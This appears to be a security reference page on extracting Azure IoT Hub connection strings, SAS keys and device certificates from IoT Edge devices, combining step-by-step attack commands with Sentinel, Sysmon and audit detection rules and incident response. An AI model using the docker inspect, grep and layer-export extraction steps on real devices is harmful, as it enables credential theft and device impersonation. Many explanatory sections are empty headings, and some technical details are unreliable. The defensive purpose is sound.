MCADDF

[IOT-EDGE-001]: IoT Device Credential Extraction

Metadata

Attribute Details
Technique ID IOT-EDGE-001
MITRE ATT&CK v18.1 T1552.001 - Unsecured Credentials: Credentials in Files
Tactic Credential Access
Platforms Azure IoT, IoT Edge, Linux, Containers
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure IoT Edge 1.0+, Docker 18.0+, Linux Kernel 4.0+
Patched In N/A (Design issue, requires proper secret management)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: IoT devices commonly store sensitive authentication credentials in plaintext or weakly protected files on the filesystem. These credentials include Azure IoT Hub connection strings, device certificates, X.509 keys, and Shared Access Signatures (SAS) tokens. An attacker with local filesystem access (whether through initial compromise, container escape, or physical access) can enumerate and extract these credentials, gaining identity-based access to backend IoT services. Extracted credentials can be leveraged to impersonate the device, access IoT Hub, read/write device twins, and pivot laterally into cloud infrastructure.

Attack Surface: Filesystem locations (e.g., /etc/config/, /opt/, ~/.config/, Docker container layers, device memory), environment variables, configuration files (JSON, YAML, XML), and container images.

Business Impact: Unauthorized Device Impersonation and Cloud Infrastructure Compromise. Stolen credentials grant attackers the ability to communicate as a legitimate IoT device, exfiltrate sensor data, inject false telemetry, compromise downstream analytics systems, and establish persistence in Azure IoT Hub. In critical infrastructure scenarios (energy, healthcare), this can lead to operational disruption.

Technical Context: Extraction typically occurs within 30 seconds to 2 minutes if credentials are stored in world-readable files. Detection likelihood is Low to Medium if logging is not configured for filesystem access auditing (Sysmon, auditd). Common indicators include unusual find, grep, cat, or strings command execution patterns and file reads from config directories.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS IoT Device Security Controls v1.0 - 2.1 Ensure credentials are not hardcoded in configuration files
DISA STIG SV-254954r889328_rule Configure audit logging for sensitive file access
CISA SCuBA ID.AM-2 Asset inventory must identify credential storage locations
NIST 800-53 SC-7 (Boundary Protection), SC-28 (Protection of Information at Rest) Encrypt credentials at rest; restrict access to credential files
GDPR Art. 32 Security of Processing – encryption and access controls required for personal/operational data
DORA Art. 11 (Incident Reporting) Credential compromises must be reported within timeline
NIS2 Art. 21 Cyber Risk Management Measures – credential protection mandatory
ISO 27001 A.8.2.1 (User endpoint devices), A.8.3.2 (Segregation of networks) Credential management and device isolation required
ISO 27005 Risk assessment for credential storage and access controls Identify and mitigate unauthorized credential extraction risks

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# List IoT devices registered in Azure IoT Hub
az iot hub device-identity list --hub-name <hub-name> --query "[].{id:deviceId, type:type, status:status}"

# Retrieve device connection string (requires IoT Hub Owner role)
az iot hub device-identity connection-string show --hub-name <hub-name> --device-id <device-id>

# Check for credentials in Edge module deployment manifests
az iot edge deployment show --hub-name <hub-name> --deployment-id <deployment-id> --query "content.modulesContent"

What to Look For:

Linux/Bash / CLI Reconnaissance

# Search for connection strings in common config locations
find /etc /opt /home -name "*.json" -o -name "*.conf" -o -name ".env" 2>/dev/null | xargs grep -l "HostName\|SharedAccessKey" 2>/dev/null

# List IoT Edge module configuration
docker inspect <module-name> | grep -i "env\|connection"

# Check for credential files (certificates, keys)
find /etc -name "*.pem" -o -name "*.pfx" -o -name "*.key" 2>/dev/null

# Examine processes to identify credential storage locations
ps aux | grep -E "iotedged|module" | head -5

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Extracting Credentials from Container Layer Files

Supported Versions: Azure IoT Edge 1.0 - 1.4.8, Docker 18.0+

Step 1: Identify Running IoT Edge Modules

Objective: Enumerate Docker containers running on the IoT Edge device to identify module containers

Command:

docker ps --format "table \t\t"

Expected Output:

CONTAINER ID        NAMES               IMAGE                           STATUS
abc12345def         edgeAgent           mcr.microsoft.com/azureiotedge-agent:1.4   Up 2 days
def23456abc         edgeHub             mcr.microsoft.com/azureiotedge-hub:1.4     Up 2 days
ghi34567def         my-module-1         myregistry.azurecr.io/my-module:1.0        Up 1 hour
jkl45678ghi         my-module-2         myregistry.azurecr.io/my-module:1.0        Up 1 hour

What This Means:

OpSec & Evasion:

Step 2: Extract Container Environment Variables Containing Credentials

Objective: Retrieve environment variables from running containers; many modules store connection strings here

Command:

docker inspect <module-name> | grep -A 100 "Env"

Example:

docker inspect my-module-1 | grep -A 50 "Env"

Expected Output:

"Env": [
    "IoT_Hub_Connection_String=HostName=myhub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=AbCdEfGhIjKlMnOpQrStUvWxYz1234567890abcdefgh=",
    "DEVICE_ID=my-device-001",
    "MODULE_ID=my-module-1",
    "PYTHONUNBUFFERED=1",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
]

What This Means:

Troubleshooting:

References & Proofs:

Step 3: Extract Credentials from Configuration Files

Objective: Search the container filesystem for hardcoded credentials in config files

Command (Execute inside container):

docker exec <module-name> find / -name "*.json" -o -name "*.conf" -o -name "appsettings.json" 2>/dev/null | xargs grep -l "key\|credential\|password\|secret\|HostName" 2>/dev/null

Alternatively, inspect container layers:

docker history --human --no-trunc <module-image>

Expected Output:

IMAGE                              CREATED            CREATED BY                                                                      SIZE
myregistry.azurecr.io/my-module   1 hour ago         /bin/sh -c echo 'Connection String: HostName=...'                             2.5KB
...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Extract X.509 Certificates and Private Keys

Objective: Locate and extract device certificates used for mutual TLS authentication

Command (Find certificates in container):

docker exec <module-name> find / -name "*.pem" -o -name "*.crt" -o -name "*.key" 2>/dev/null

Command (Extract certificate from host volume mount):

# Identify volume mounts
docker inspect <module-name> | grep -A 5 "Mounts"

# Read certificate if accessible from host
sudo cat /var/lib/aziot/identities/<device-id>/<module-id>/module_cert.pem

Expected Output:

/etc/aziot/identities/device-id/module-id/module_cert.pem
/etc/aziot/identities/device-id/module-id/module_key.pem
/etc/config/ca-cert.pem
/opt/credentials/device.pfx

What This Means:

OpSec & Evasion:

References & Proofs:

METHOD 2: Extracting Credentials via Docker Layer Forensics

Supported Versions: All Docker versions supporting image export

Step 1: Export Container Image Layers

Objective: Extract the entire container filesystem to analyze for embedded credentials

Command:

docker save <module-image> -o module.tar
tar -tf module.tar | head -20
tar -xf module.tar

Expected Output:

module.tar
└── blobs/
    └── sha256/
        ├── abc123... (base layer)
        ├── def456... (dependency layer)
        └── ghi789... (application layer)

What This Means:

Step 2: Search Extracted Layers for Credentials

Command:

for layer in blobs/sha256/*; do
  tar -xf "$layer" -O 2>/dev/null | strings | grep -E "HostName|SharedAccessKey|ConnectionString" | head -5
done

Expected Output:

HostName=myhub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=AbCd...

What This Means:

References & Proofs:


5. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Reference: Atomic Red Team T1552.001


6. TOOLS & COMMANDS REFERENCE

Docker CLI

Version: 20.10+ Minimum Version: 18.0 Supported Platforms: Linux, Windows, macOS

Usage:

docker ps                              # List running containers
docker inspect <container>             # Inspect container configuration
docker exec <container> <command>      # Execute command inside container
docker save <image>                    # Export image as tar archive
docker logs <container>                # View container logs

Bash/Shell Utilities (Native)

Tools: find, grep, cat, strings, sed, awk Usage:

find / -name "*.json" 2>/dev/null       # Find JSON config files
grep -r "HostName" /etc /opt 2>/dev/null  # Search for connection strings
strings /var/lib/file | grep "key"      # Extract text from binary files
cat /etc/aziot/config.toml              # Read Azure IoT Edge daemon config

jq - JSON Query Tool

Version: 1.6+ Installation:

# Ubuntu/Debian
sudo apt-get install -y jq

# Alpine
apk add jq

# macOS
brew install jq

Usage:

cat config.json | jq '.modules | keys'      # Extract module names
cat config.json | jq '.[] | .connectionString'  # Extract connection strings

7. MICROSOFT SENTINEL DETECTION

Query 1: Detect Credential File Access on IoT Edge Devices

Rule Configuration:

KQL Query:

union SecurityEvent, Event
| where Computer contains "edge" or Computer contains "iot"
| where (EventID == 4663 and ObjectName contains "credential" or ObjectName contains ".pem" or ObjectName contains ".key")
  or (EventID == 3 and Process contains "grep" and CommandLine contains "HostName")
  or (EventID == 1 and CommandLine contains "docker inspect" and CommandLine contains "Env")
| summarize Count = count() by Computer, Account, CommandLine, EventTime
| where Count > 0
| sort by EventTime desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: IoT Edge Device Credential Extraction
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 10 minutes
    • Lookup data from the last: 30 minutes
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + createCreate

Manual Configuration Steps (PowerShell):

$ResourceGroup = "myResourceGroup"
$WorkspaceName = "mySentinelWorkspace"
$RuleName = "IoT Edge Credential Extraction"

Connect-AzAccount
Connect-AzSentinel -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName

$QueryContent = @"
union SecurityEvent, Event
| where Computer contains "edge" or Computer contains "iot"
| where (EventID == 4663 and ObjectName contains "credential" or ObjectName contains ".pem")
  or (EventID == 1 and CommandLine contains "grep" and CommandLine contains "HostName")
"@

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
  -WorkspaceName $WorkspaceName `
  -DisplayName $RuleName `
  -Query $QueryContent `
  -Severity "High" `
  -Enabled $true

Source: Microsoft Sentinel IoT Security Best Practices

Query 2: Detect Unusual Docker or Container Commands on IoT Devices

KQL Query:

SecurityEvent
| where Process contains "docker" and (CommandLine contains "inspect" or CommandLine contains "export" or CommandLine contains "save")
| where Account != "system" and Account != "SYSTEM"
| summarize CommandCount = count() by Computer, Account, bin(TimeGenerated, 5m)
| where CommandCount > 3
| sort by TimeGenerated desc

8. WINDOWS EVENT LOG MONITORING

Event ID: 4656 (A handle to an object was requested)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable: Audit Object AccessAudit File System
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Manual Configuration Steps (Local Policy - IoT Devices):

  1. Open Local Security Policy (secpol.msc) on the IoT device
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationAudit Policies
  3. Enable: Object AccessAudit File System
  4. Restart the machine or run:
    auditpol /set /subcategory:"File System" /success:enable /failure:enable
    

9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Linux (via Auditbeat), Windows

Sysmon Config Snippet (Windows IoT):

<Sysmon schemaversion="4.30">
  <EventFiltering>
    <!-- Detect file access to credential files -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains">credential</TargetFilename>
      <TargetFilename condition="contains">.pem</TargetFilename>
      <TargetFilename condition="contains">.key</TargetFilename>
    </FileCreate>
    
    <!-- Detect credential extraction commands -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">grep</CommandLine>
      <CommandLine condition="contains">HostName</CommandLine>
      <CommandLine condition="contains">SharedAccessKey</CommandLine>
    </ProcessCreate>
    
    <!-- Detect docker inspect / export -->
    <ProcessCreate onmatch="include">
      <Image condition="contains">docker.exe</Image>
      <CommandLine condition="contains">inspect</CommandLine>
      <CommandLine condition="contains">save</CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create the XML config file above as sysmon-config.xml
  3. Install Sysmon:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation and monitor:
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Format-Table TimeCreated, Message -AutoSize
    

10. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Unauthorized Access to Sensitive Files

Alert Name: IoT Device Accessing Credential Files (Custom)

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select your subscription
  3. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for IoT: ON
  4. Click Save
  5. Go to Security alerts to view detected threats

11. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Monitor Device Credential Access in IoT Hub

Search-UnifiedAuditLog -Operations "Get Device", "List Devices", "Get Device Identity" `
  -StartDate (Get-Date).AddDays(-7) `
  -ResultSize 5000 | Select-Object UserIds, Operations, CreationDate, ClientIP | Sort-Object CreationDate -Descending

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate

12. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify credentials are not stored in Docker environment variables
docker inspect <module-name> | grep -i "HostName\|SharedAccessKey"

# Expected Output (If Secure):
# [No output – credentials are not exposed]

# Verify filesystem permissions on credential files
ls -la /etc/aziot/identities/*/*/
# Expected Output:
# -rw------- 1 root root 1234 Jan 1 12:00 device_cert.pem
# (Permissions are 600, accessible only to owner)

# Verify auditd rules are active
sudo auditctl -l | grep iot_credential
# Expected Output:
# -w /etc/aziot/ -p wa -k iot_credential_access

What to Look For:


13. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Disconnect IoT Edge device from network
    sudo ip link set eth0 down
       
    # Or, revoke device credentials in Azure IoT Hub
    az iot hub device-identity delete --hub-name <hub-name> --device-id <device-id>
    
  2. Collect Evidence:
    # Export Security Event Log (Windows)
    wevtutil epl Security C:\Evidence\Security.evtx
       
    # Export audit logs (Linux)
    sudo tar -czf /tmp/audit-logs.tar.gz /var/log/audit/
       
    # Capture Docker container state
    docker save $(docker ps -q) -o containers.tar
    docker ps -a --format json > container-manifest.json
    
  3. Remediate:
    # Stop compromised module
    docker stop <module-name>
       
    # Revoke credentials in Azure
    az iot hub device-identity delete --hub-name <hub-name> --device-id <device-id>
       
    # Redeploy device with new credentials
    az iot edge deployment create --hub-name <hub-name> --deployment-id <new-deployment> --content deployment.json
    

Step Phase Technique Description
1 Initial Access [IOT-EDGE-002] Azure IoT Hub Connection String Theft Attacker exploits misconfigurations to steal IoT Hub credentials
2 Credential Access [IOT-EDGE-001] Attacker extracts device credentials from filesystem
3 Lateral Movement [IOT-EDGE-004] Device Provisioning Service Abuse Attacker uses stolen credentials to register rogue devices
4 Privilege Escalation [IOT-EDGE-003] Edge Module Compromise Attacker escapes container and installs rootkit
5 Impact Data Exfiltration Attacker exfiltrates sensor data and business intelligence from IoT Hub

15. REAL-WORLD EXAMPLES

Example 1: ZiggyStarTux IoT Malware (2023)

Example 2: Shodan IoT Scanning and Credential Extraction (2024)


SUMMARY

IOT-EDGE-001 represents a critical vulnerability in the IoT attack surface. The extraction of device credentials from plaintext storage enables attackers to impersonate IoT devices, access sensitive cloud infrastructure, and establish persistence. Organizations must implement secret management solutions, filesystem encryption, and comprehensive logging to defend against this threat. Regular security audits of IoT Edge deployments and removal of hardcoded credentials from container images are essential remediation steps.